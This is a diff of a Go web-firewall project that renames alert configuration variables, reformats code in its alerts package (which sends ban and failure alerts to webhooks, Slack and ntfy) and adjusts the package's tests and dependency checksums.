github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M= github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM= github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM=
@@ -42,10 +38,6 @@ github.com/kaptinlin/jsonschema v0.4.6 h1:vOSFg5tjmfkOdKg+D6Oo4fVOM/pActWu/ntkPs
github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0= github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0=
github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk= github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk=
github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ= github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM= github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM=
@@ -70,24 +62,8 @@ github.com/prometheus/common v0.70.1 h1:1HvjP4D5oL3t8RsPlwxA9onvvStjtIHYE5XuuwOi
github.com/prometheus/common v0.70.1/go.mod h1:VdFUQDMZK3VLkurFUVhia6uys/0suUp86TJz5qbJRhc= github.com/prometheus/common v0.70.1/go.mod h1:VdFUQDMZK3VLkurFUVhia6uys/0suUp86TJz5qbJRhc=
github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+OJI= github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+OJI=
github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY= github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY=
github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8=
github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs=
github.com/sagikazarmark/locafero v0.11.0 h1:1iurJgmM9G3PA/I+wWYIOw/5SyBtxapeHDcg+AAIFXc=
github.com/sagikazarmark/locafero v0.11.0/go.mod h1:nVIGvgyzw595SUSUE6tvCp3YYTeHs15MvlmU87WwIik=
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8 h1:+jumHNA0Wrelhe64i8F6HNlS8pkoyMv5sreGx2Ry5Rw=
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8/go.mod h1:3n1Cwaq1E1/1lhQhtRK2ts/ZwZEhjcQeJQ1RuC6Q/8U=
github.com/spf13/afero v1.15.0 h1:b/YBCLWAJdFWJTN9cLhiXXcD7mzKn9Dm86dNnfyQw1I=
github.com/spf13/afero v1.15.0/go.mod h1:NC2ByUVxtQs4b3sIUphxK0NioZnmxgyCrfzeuq8lxMg=
github.com/spf13/cast v1.10.0 h1:h2x0u2shc1QuLHfxi+cTJvs30+ZAHOGRic8uyGTDWxY=
github.com/spf13/cast v1.10.0/go.mod h1:jNfB8QC9IA6ZuY2ZjDp0KtFO2LZZlg4S/7bzP6qqeHo=
github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk=
github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/spf13/viper v1.21.0 h1:x5S+0EU27Lbphp4UKm1C+1oQO+rKx36vfCoaVebLFSU=
github.com/spf13/viper v1.21.0/go.mod h1:P0lhsswPGWD/1lZJ9ny3fYnVqxiegrlNrEmgLjbTCAY=
github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE= github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE=
github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg= github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg=
github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8=
github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU=
github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY= github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA= github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
+51 -92
View File
@@ -1,12 +1,12 @@
// Package alerts sends alerts on bans, on traffic over an anomaly // Package alerts sends alerts on bans, on traffic over an anomaly
// threshold, on a source that fails and on a file with an error to each // threshold, on a source that fails and on a file with an error to each
// destination set: to the webhook // destination set: to the webhook
// SWW_WAF_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON // SWW_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON
// object" in docs/alerts.md describes, to the Slack incoming // object" in docs/alerts.md describes, to the Slack incoming
// webhook SWW_WAF_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the // webhook SWW_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the
// ntfy topic SWW_WAF_ALERT_NTFY_URL names. A repeat within // ntfy topic SWW_ALERT_NTFY_URL names. A repeat within
// SWW_WAF_ALERT_COOLDOWN is held back, and so is an alert past // SWW_ALERT_COOLDOWN is held back, and so is an alert past
// SWW_WAF_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a // SWW_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a
// bounded queue of each destination's own, so that a destination that is // bounded queue of each destination's own, so that a destination that is
// slow or unreachable holds up neither the others nor any request. The // slow or unreachable holds up neither the others nor any request. The
// state is written to alerts.json and read from it by the state package. // state is written to alerts.json and read from it by the state package.
@@ -34,7 +34,7 @@ import (
"time" "time"
) )
// The events an alert is for, as SWW_WAF_ALERT_EVENTS names them. // The events an alert is for, as SWW_ALERT_EVENTS names them.
const ( const (
// EventBan is a ban sww made. // EventBan is a ban sww made.
EventBan = "ban" EventBan = "ban"
@@ -45,7 +45,7 @@ const (
// threshold. // threshold.
EventAnomaly = "anomaly" EventAnomaly = "anomaly"
// EventCoreRuleSetMatch is a request the Core Rule Set scored at or over // EventCoreRuleSetMatch is a request the Core Rule Set scored at or over
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD, refused in block mode, let through in // SWW_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in
// detect mode. // detect mode.
EventCoreRuleSetMatch = "core_rule_set_match" EventCoreRuleSetMatch = "core_rule_set_match"
// EventReputationHit is a request whose client a blocklist, the // EventReputationHit is a request whose client a blocklist, the
@@ -56,21 +56,19 @@ const (
// of a list failing, a query to a DNSBL zone or a check with AbuseIPDB // of a list failing, a query to a DNSBL zone or a check with AbuseIPDB
// failing or refused, or the day's AbuseIPDB checks used up. // failing or refused, or the day's AbuseIPDB checks used up.
EventSourceFailure = "source_failure" EventSourceFailure = "source_failure"
// EventFileError is one of: // EventFileError is a rule file or state file edited while sww
// - a rule file or state file edited while sww runs that does not parse; // runs that does not parse, a replacement of the lookup database that
// - a cache file that does not parse, at start or after an edit; // cannot be read, or a state file that cannot be written.
// - a state file or cache file that cannot be written;
// - a replacement of the lookup database that cannot be read.
EventFileError = "file_error" EventFileError = "file_error"
// EventSummary is the summary sent as an hour ends: of the alerts held // EventSummary is the summary sent as an hour ends: of the alerts held
// back in it past SWW_WAF_ALERT_MAX_PER_HOUR, and of the repeats held // back in it past SWW_ALERT_MAX_PER_HOUR, and of the repeats held
// back by the cooldowns dropped as it ends, which no alert let through // back by the cooldowns dropped as it ends, which no alert let through
// has given. It is sent with SWW_WAF_ALERT_MAX_PER_HOUR off too, for // has given. It is sent with SWW_ALERT_MAX_PER_HOUR off too, for
// those repeats. SWW_WAF_ALERT_EVENTS does not name it. // those repeats. SWW_ALERT_EVENTS does not name it.
EventSummary = "summary" EventSummary = "summary"
) )
// Events returns every event SWW_WAF_ALERT_EVENTS can name, which is its // Events returns every event SWW_ALERT_EVENTS can name, which is its
// default. // default.
func Events() []string { func Events() []string {
return []string{ return []string{
@@ -82,12 +80,12 @@ func Events() []string {
// The destinations alerts are sent to, as the metrics and alerts.json // The destinations alerts are sent to, as the metrics and alerts.json
// name them. // name them.
const ( const (
// DestinationWebhook is the webhook SWW_WAF_ALERT_WEBHOOK_URL names. // DestinationWebhook is the webhook SWW_ALERT_WEBHOOK_URL names.
DestinationWebhook = "webhook" DestinationWebhook = "webhook"
// DestinationSlack is the Slack incoming webhook // DestinationSlack is the Slack incoming webhook
// SWW_WAF_ALERT_SLACK_WEBHOOK_URL names. // SWW_ALERT_SLACK_WEBHOOK_URL names.
DestinationSlack = "slack" DestinationSlack = "slack"
// DestinationNtfy is the ntfy topic SWW_WAF_ALERT_NTFY_URL names. // DestinationNtfy is the ntfy topic SWW_ALERT_NTFY_URL names.
DestinationNtfy = "ntfy" DestinationNtfy = "ntfy"
) )
@@ -123,26 +121,26 @@ var (
// NtfyURL set, no alert is sent. // NtfyURL set, no alert is sent.
type Params struct { type Params struct {
// WebhookURL is where each alert is posted as JSON // WebhookURL is where each alert is posted as JSON
// (SWW_WAF_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders // (SWW_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders
// are sent with each (SWW_WAF_ALERT_WEBHOOK_HEADERS). // are sent with each (SWW_ALERT_WEBHOOK_HEADERS).
WebhookURL *url.URL WebhookURL *url.URL
WebhookHeaders http.Header WebhookHeaders http.Header
// SlackURL is the Slack incoming webhook each alert is posted to as a // SlackURL is the Slack incoming webhook each alert is posted to as a
// message (SWW_WAF_ALERT_SLACK_WEBHOOK_URL), nil while it is unset. // message (SWW_ALERT_SLACK_WEBHOOK_URL), nil while it is unset.
SlackURL *url.URL SlackURL *url.URL
// NtfyURL is the ntfy topic each alert is published to // NtfyURL is the ntfy topic each alert is published to
// (SWW_WAF_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless // (SWW_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless
// empty, is sent with each as a bearer token (SWW_WAF_ALERT_NTFY_TOKEN). // empty, is sent with each as a bearer token (SWW_ALERT_NTFY_TOKEN).
NtfyURL *url.URL NtfyURL *url.URL
NtfyToken string NtfyToken string
// Events are the events alerts are sent for (SWW_WAF_ALERT_EVENTS). // Events are the events alerts are sent for (SWW_ALERT_EVENTS).
Events []string Events []string
// Cooldown is how long a repeat of an alert is held back // Cooldown is how long a repeat of an alert is held back
// (SWW_WAF_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts // (SWW_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts
// sent in an hour (SWW_WAF_ALERT_MAX_PER_HOUR), 0 for no limit. // sent in an hour (SWW_ALERT_MAX_PER_HOUR), 0 for no limit.
Cooldown time.Duration Cooldown time.Duration
MaxPerHour int MaxPerHour int
// Instance is SWW_WAF_INSTANCE_NAME, which every alert gives. // Instance is SWW_INSTANCE_NAME, which every alert gives.
Instance string Instance string
// Now tells the time of an alert, normally time.Now in UTC. // Now tells the time of an alert, normally time.Now in UTC.
Now func() time.Time Now func() time.Time
@@ -153,7 +151,7 @@ type Params struct {
// Alert is one alert, as the webhook is sent it and alerts.json holds it, // Alert is one alert, as the webhook is sent it and alerts.json holds it,
// with the fields of "The JSON object" in docs/alerts.md. ASN, ASName and // with the fields of "The JSON object" in docs/alerts.md. ASN, ASName and
// Country are, for a ban, the client's as the ban's notes give them. Host is // Country are, for a ban, the client's as the ban's notes give them. Host is
// the site of the request that raised the alert, while one waf serves // the site of the request that raised the alert, while one discriminator serves
// many sites, and "" otherwise. // many sites, and "" otherwise.
// //
//nolint:tagliatelle // docs/alerts.md names the alert's fields in snake_case //nolint:tagliatelle // docs/alerts.md names the alert's fields in snake_case
@@ -291,15 +289,7 @@ func cooldownKeyOf(alert *Alert) cooldownKey {
asn, _ := alert.Detail["asn"].(string) asn, _ := alert.Detail["asn"].(string)
name, _ := alert.Detail["name"].(string) name, _ := alert.Detail["name"].(string)
return cooldownKey{ return cooldownKey{alert.Event, alert.Netblock, file, source, scope, asn, name}
alert.Event,
alert.Netblock,
file,
source,
scope,
asn,
name,
}
} }
// New returns a Queue with no alert yet. // New returns a Queue with no alert yet.
@@ -311,17 +301,17 @@ func New(params Params) *Queue {
} }
if params.WebhookURL != nil { if params.WebhookURL != nil {
q.addDestination(DestinationWebhook, "SWW_WAF_ALERT_WEBHOOK_URL", q.addDestination(DestinationWebhook, "SWW_ALERT_WEBHOOK_URL",
params.WebhookURL, q.webhookMessage) params.WebhookURL, q.webhookMessage)
} }
if params.SlackURL != nil { if params.SlackURL != nil {
q.addDestination(DestinationSlack, "SWW_WAF_ALERT_SLACK_WEBHOOK_URL", q.addDestination(DestinationSlack, "SWW_ALERT_SLACK_WEBHOOK_URL",
params.SlackURL, slackMessage) params.SlackURL, slackMessage)
} }
if params.NtfyURL != nil { if params.NtfyURL != nil {
q.addDestination(DestinationNtfy, "SWW_WAF_ALERT_NTFY_URL", q.addDestination(DestinationNtfy, "SWW_ALERT_NTFY_URL",
params.NtfyURL, q.ntfyMessage) params.NtfyURL, q.ntfyMessage)
} }
@@ -329,7 +319,7 @@ func New(params Params) *Queue {
} }
// Raise sends alert, which names its event and what is particular to it, // Raise sends alert, which names its event and what is particular to it,
// unless no destination is set or SWW_WAF_ALERT_EVENTS leaves its event // unless no destination is set or SWW_ALERT_EVENTS leaves its event
// out. It gives alert the instance and the time. An alert that repeats // out. It gives alert the instance and the time. An alert that repeats
// the last one let through less than Cooldown before is held back and // the last one let through less than Cooldown before is held back and
// counted. The next one let through gives that count, unless an hour of // counted. The next one let through gives that count, unless an hour of
@@ -341,8 +331,7 @@ func New(params Params) *Queue {
// queue of each destination, from which Run sends it, and with queueSize // queue of each destination, from which Run sends it, and with queueSize
// alerts waiting for a destination, the oldest is dropped. // alerts waiting for a destination, the oldest is dropped.
func (q *Queue) Raise(alert Alert) { func (q *Queue) Raise(alert Alert) {
if len(q.destinations) == 0 || if len(q.destinations) == 0 || !slices.Contains(q.params.Events, alert.Event) {
!slices.Contains(q.params.Events, alert.Event) {
return return
} }
@@ -374,7 +363,7 @@ func (q *Queue) Raise(alert Alert) {
} }
// WouldSend reports whether Raise would let an alert for event on // WouldSend reports whether Raise would let an alert for event on
// netblock through now: a destination is set, SWW_WAF_ALERT_EVENTS chooses // netblock through now: a destination is set, SWW_ALERT_EVENTS chooses
// event, no alert for event on netblock was let through less than // event, no alert for event on netblock was let through less than
// Cooldown before, and fewer than MaxPerHour alerts have been let through // Cooldown before, and fewer than MaxPerHour alerts have been let through
// in the hour under way. Unlike Raise, it counts nothing. // in the hour under way. Unlike Raise, it counts nothing.
@@ -389,8 +378,7 @@ func (q *Queue) WouldSend(event string, netblock netip.Prefix) bool {
now := q.params.Now() now := q.params.Now()
last, found := q.cooldowns[cooldownKey{event: event, netblock: netblock}] last, found := q.cooldowns[cooldownKey{event: event, netblock: netblock}]
if q.params.Cooldown > 0 && found && if q.params.Cooldown > 0 && found && now.Sub(last.Sent) < q.params.Cooldown {
now.Sub(last.Sent) < q.params.Cooldown {
return false return false
} }
@@ -484,15 +472,10 @@ func (q *Queue) Snapshot() State {
} }
slices.SortFunc(state.Cooldowns, func(a, b Cooldown) int { slices.SortFunc(state.Cooldowns, func(a, b Cooldown) int {
return cmp.Or( return cmp.Or(a.Netblock.Compare(b.Netblock), cmp.Compare(a.Event, b.Event),
a.Netblock.Compare(b.Netblock), cmp.Compare(a.File, b.File), cmp.Compare(a.Source, b.Source),
cmp.Compare(a.Event, b.Event), cmp.Compare(a.Scope, b.Scope), cmp.Compare(a.ASN, b.ASN),
cmp.Compare(a.File, b.File), cmp.Compare(a.Name, b.Name))
cmp.Compare(a.Source, b.Source),
cmp.Compare(a.Scope, b.Scope),
cmp.Compare(a.ASN, b.ASN),
cmp.Compare(a.Name, b.Name),
)
}) })
for _, d := range q.destinations { for _, d := range q.destinations {
@@ -624,17 +607,14 @@ func (q *Queue) endHour(now time.Time) {
var reasons []string var reasons []string
if heldBack > 0 { if heldBack > 0 {
reasons = append( reasons = append(reasons, fmt.Sprintf("%d alerts held back in the hour from %s, "+
reasons, "past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
fmt.Sprintf("%d alerts held back in the hour from %s, "+ q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour))
"past the %d an hour SWW_WAF_ALERT_MAX_PER_HOUR allows", heldBack,
q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour),
)
} }
if repeats > 0 { if repeats > 0 {
reasons = append(reasons, fmt.Sprintf("%d repeats held back by "+ reasons = append(reasons, fmt.Sprintf("%d repeats held back by "+
"SWW_WAF_ALERT_COOLDOWN that no later alert gives", repeats)) "SWW_ALERT_COOLDOWN that no later alert gives", repeats))
} }
if len(reasons) > 0 { if len(reasons) > 0 {
@@ -708,19 +688,12 @@ func (d *destination) run(ctx context.Context) {
case ctx.Err() == nil: // not cut off as sww stops case ctx.Err() == nil: // not cut off as sww stops
d.sendFailures.Add(1) d.sendFailures.Add(1)
retryDelay = min( retryDelay = min(max(retryDelayFactor*retryDelay, firstRetryDelay),
max(retryDelayFactor*retryDelay, firstRetryDelay), maxRetryDelay)
maxRetryDelay,
)
retryAt = time.Now().Add(retryDelay) retryAt = time.Now().Add(retryDelay)
d.processLog.Warn( d.processLog.Warn("sending an alert to "+d.setting+" failed",
"sending an alert to "+d.setting+" failed", "error", err.Error(), "sending_again_in", retryDelay.String())
"error",
err.Error(),
"sending_again_in",
retryDelay.String(),
)
} }
} }
} }
@@ -808,12 +781,8 @@ func (d *destination) send(ctx context.Context, alert *Alert) error {
ctx, cancel := context.WithTimeout(ctx, sendTimeout) ctx, cancel := context.WithTimeout(ctx, sendTimeout)
defer cancel() defer cancel()
req, err := http.NewRequestWithContext( req, err := http.NewRequestWithContext(ctx, http.MethodPost, d.url.String(),
ctx, bytes.NewReader(body))
http.MethodPost,
d.url.String(),
bytes.NewReader(body),
)
if err != nil { if err != nil {
return fmt.Errorf("make the request: %w", err) return fmt.Errorf("make the request: %w", err)
} }
@@ -867,14 +836,7 @@ func (q *Queue) webhookMessage(alert *Alert) ([]byte, http.Header, error) {
// in JSON: its title in bold, then its text, with &, < and > escaped, as // in JSON: its title in bold, then its text, with &, < and > escaped, as
// Slack asks, so that nothing in them is read as a link or a mention. // Slack asks, so that nothing in them is read as a link or a mention.
func slackMessage(alert *Alert) ([]byte, http.Header, error) { func slackMessage(alert *Alert) ([]byte, http.Header, error) {
escape := strings.NewReplacer( escape := strings.NewReplacer("&", "&amp;", "<", "&lt;", ">", "&gt;").Replace
"&",
"&amp;",
"<",
"&lt;",
">",
"&gt;",
).Replace
body, err := json.Marshal(map[string]string{ body, err := json.Marshal(map[string]string{
"text": "*" + escape(title(alert)) + "*\n" + escape(text(alert)), "text": "*" + escape(title(alert)) + "*\n" + escape(text(alert)),
@@ -972,10 +934,7 @@ func text(alert *Alert) string {
} }
if alert.SuppressedRepeats > 0 { if alert.SuppressedRepeats > 0 {
lines = append( lines = append(lines, fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats))
lines,
fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats),
)
} }
return strings.Join(lines, "\n") return strings.Join(lines, "\n")
+100 -326
View File
@@ -65,10 +65,7 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
Netblock: netip.MustParsePrefix("203.0.113.0/24"), Netblock: netip.MustParsePrefix("203.0.113.0/24"),
Country: "DE", Country: "DE",
Reason: "requests per minute over the limit of 1000", Reason: "requests per minute over the limit of 1000",
Detail: map[string]any{ Detail: map[string]any{"cause": "limit", "ban_expires": anHourOn},
"cause": "limit",
"ban_expires": anHourOn,
},
}) })
synctest.Wait() synctest.Wait()
@@ -78,12 +75,7 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
} }
if got[0].method != http.MethodPost || got[0].url != webhookURL { if got[0].method != http.MethodPost || got[0].url != webhookURL {
t.Errorf( t.Errorf("request %s %s, want POST %s", got[0].method, got[0].url, webhookURL)
"request %s %s, want POST %s",
got[0].method,
got[0].url,
webhookURL,
)
} }
for name, want := range map[string]string{ for name, want := range map[string]string{
@@ -92,29 +84,21 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
"X-Team": "ops", "X-Team": "ops",
} { } {
if got[0].header.Get(name) != want { if got[0].header.Get(name) != want {
t.Errorf( t.Errorf("header %s is %q, want %q", name, got[0].header.Get(name), want)
"header %s is %q, want %q",
name,
got[0].header.Get(name),
want,
)
} }
} }
wantAlert(t, got[0].alert, map[string]any{ wantAlert(t, got[0].alert, map[string]any{
"instance": instance, "instance": instance,
"time": started, "time": started,
"event": "ban", "event": "ban",
"client": "203.0.113.9", "client": "203.0.113.9",
"netblock": "203.0.113.0/24", "netblock": "203.0.113.0/24",
"asn": "", "asn": "",
"as_name": "", "as_name": "",
"country": "DE", "country": "DE",
"reason": "requests per minute over the limit of 1000", "reason": "requests per minute over the limit of 1000",
"detail": map[string]any{ "detail": map[string]any{"cause": "limit", "ban_expires": anHourOn},
"cause": "limit",
"ban_expires": anHourOn,
},
"suppressed_repeats": float64(0), "suppressed_repeats": float64(0),
}) })
wantCounts(t, q, 1, 0, 0, 0) wantCounts(t, q, 1, 0, 0, 0)
@@ -126,25 +110,12 @@ func TestOnlyTheChosenEventsAreSent(t *testing.T) {
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
params := newParams() params := newParams()
params.Events = []string{ params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError}
alerts.EventSourceFailure,
alerts.EventFileError,
}
webhook, q := start(t, params) webhook, q := start(t, params)
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"})
alerts.Alert{ q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(1)})
Event: alerts.EventFileError,
Reason: "a file error",
},
)
q.Raise(
alerts.Alert{
Event: alerts.EventPermanentBan,
Netblock: netblock(1),
},
)
synctest.Wait() synctest.Wait()
wantEvents(t, webhook, alerts.EventFileError) wantEvents(t, webhook, alerts.EventFileError)
@@ -156,17 +127,12 @@ func TestWouldSendOnlyForTheChosenEvents(t *testing.T) {
t.Parallel() t.Parallel()
params := newParams() params := newParams()
params.Events = []string{ params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError}
alerts.EventSourceFailure,
alerts.EventFileError,
}
q := alerts.New(params) q := alerts.New(params)
if q.WouldSend(alerts.EventBan, netblock(1)) || if q.WouldSend(alerts.EventBan, netblock(1)) ||
q.WouldSend(alerts.EventPermanentBan, netblock(1)) { q.WouldSend(alerts.EventPermanentBan, netblock(1)) {
t.Error( t.Error("a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out")
"a ban alert would be sent, though SWW_WAF_ALERT_EVENTS leaves it out",
)
} }
if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) { if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) {
@@ -218,14 +184,11 @@ func TestWouldSendWithOnlySlackOrOnlyNtfySet(t *testing.T) {
onlyNtfy.NtfyURL = parseURL(ntfyURL) onlyNtfy.NtfyURL = parseURL(ntfyURL)
for setting, params := range map[string]alerts.Params{ for setting, params := range map[string]alerts.Params{
"SWW_WAF_ALERT_SLACK_WEBHOOK_URL": onlySlack, "SWW_ALERT_SLACK_WEBHOOK_URL": onlySlack,
"SWW_WAF_ALERT_NTFY_URL": onlyNtfy, "SWW_ALERT_NTFY_URL": onlyNtfy,
} { } {
if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) { if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) {
t.Errorf( t.Errorf("a ban alert would not be sent with only %s set", setting)
"a ban alert would not be sent with only %s set",
setting,
)
} }
} }
} }
@@ -262,14 +225,8 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
synctest.Wait() synctest.Wait()
got := webhook.received() got := webhook.received()
wantEvents( wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventPermanentBan,
t, alerts.EventBan)
webhook,
alerts.EventBan,
alerts.EventBan,
alerts.EventPermanentBan,
alerts.EventBan,
)
for i, want := range []struct { for i, want := range []struct {
netblock int netblock int
@@ -278,14 +235,9 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
alert := got[i].alert alert := got[i].alert
if alert["netblock"] != netblock(want.netblock).String() || if alert["netblock"] != netblock(want.netblock).String() ||
alert["suppressed_repeats"] != want.repeats { alert["suppressed_repeats"] != want.repeats {
t.Errorf( t.Errorf("alert %d is for %v with %v repeats, want %s with %v", i,
"alert %d is for %v with %v repeats, want %s with %v", alert["netblock"], alert["suppressed_repeats"], netblock(want.netblock),
i, want.repeats)
alert["netblock"],
alert["suppressed_repeats"],
netblock(want.netblock),
want.repeats,
)
} }
} }
@@ -293,9 +245,7 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
}) })
} }
func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource( func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -303,11 +253,8 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(
webhook, q := start(t, params) webhook, q := start(t, params)
fileError := func(file string) alerts.Alert { fileError := func(file string) alerts.Alert {
return alerts.Alert{ return alerts.Alert{
Event: alerts.EventFileError, Event: alerts.EventFileError,
Detail: map[string]any{ Detail: map[string]any{"file": file, "error": "line 2: an error"},
"file": file,
"error": "line 2: an error",
},
} }
} }
sourceFailure := func(source string) alerts.Alert { sourceFailure := func(source string) alerts.Alert {
@@ -338,11 +285,7 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(
"/rules.d/50-a.rules", "/rules.d/50-b.rules", "geojs", "abuseipdb", "/rules.d/50-a.rules", "/rules.d/50-b.rules", "geojs", "abuseipdb",
} }
if !slices.Equal(got, want) { if !slices.Equal(got, want) {
t.Errorf( t.Errorf("the webhook was sent alerts for %v, want %v", got, want)
"the webhook was sent alerts for %v, want %v",
got,
want,
)
} }
wantCounts(t, q, 4, 0, 2, 0) wantCounts(t, q, 4, 0, 2, 0)
@@ -355,12 +298,8 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(
after.Raise(fileError("/rules.d/50-c.rules")) after.Raise(fileError("/rules.d/50-c.rules"))
